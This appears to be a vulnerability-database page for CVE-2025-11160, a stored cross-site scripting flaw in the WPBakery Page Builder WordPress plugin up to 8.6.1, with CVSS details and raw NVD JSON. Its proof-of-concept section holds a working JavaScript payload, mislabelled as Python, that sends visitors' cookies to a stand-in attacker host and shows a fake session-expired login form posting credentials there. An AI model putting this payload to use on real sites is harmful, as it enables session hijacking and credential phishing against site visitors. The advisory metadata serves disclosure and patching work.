Security Vulnerability Report
中文
CVE-2025-11160 CVSS 6.4 MEDIUM

CVE-2025-11160

Published: 2025-10-15 07:15:31
Last Modified: 2025-11-26 17:34:07

Description

The WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom JS module in all versions up to, and including, 8.6.1. This is due to insufficient input sanitization and output escaping of user-supplied JavaScript code in the Custom JS module. This makes it possible for authenticated attackers with contributor-level access or higher to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via the WPBakery Page Builder Custom JS module granted they have access to the WPBakery editor for post types.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wpbakery:page_builder:*:*:*:*:*:wordpress:*:* - VULNERABLE
WPBakery Page Builder <= 8.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-11160: WPBakery Page Builder Stored XSS via Custom JS Module Steps to reproduce: 1. Login as contributor or higher role in WordPress 2. Create a new post/page with WPBakery editor 3. Open the Custom JS module in WPBakery backend editor 4. Inject the following malicious JavaScript payload 5. Publish/save the post 6. When any user visits the page, the XSS fires automatically --> <!-- Malicious payload injected via Custom JS module --> <script> // Steal cookies and session information var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(window.location.href); // Create a fake admin overlay for credential harvesting var overlay = document.createElement('div'); overlay.style.position = 'fixed'; overlay.style.top = '0'; overlay.style.left = '0'; overlay.style.width = '100%'; overlay.style.height = '100%'; overlay.style.backgroundColor = 'rgba(0,0,0,0.8)'; overlay.style.zIndex = '99999'; overlay.innerHTML = '<div style="background:white;padding:30px;margin:100px auto;width:400px;"><h2>Session Expired</h2><form action="https://attacker-server.com/phish" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form></div>'; document.body.appendChild(overlay); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11160", "sourceIdentifier": "[email protected]", "published": "2025-10-15T07:15:30.680", "lastModified": "2025-11-26T17:34:06.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom JS module in all versions up to, and including, 8.6.1. This is due to insufficient input sanitization and output escaping of user-supplied JavaScript code in the Custom JS module. This makes it possible for authenticated attackers with contributor-level access or higher to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via the WPBakery Page Builder Custom JS module granted they have access to the WPBakery editor for post types."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wpbakery:page_builder:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "8.7", "matchCriteriaId": "EDDF2342-1A29-40FB-845E-15F586CA1504"}]}]}], "references": [{"url": "https://kb.wpbakery.com/docs/preface/release-notes/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4c42cc4e-34e7-4f14-b850-7ba5dd2ae099?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}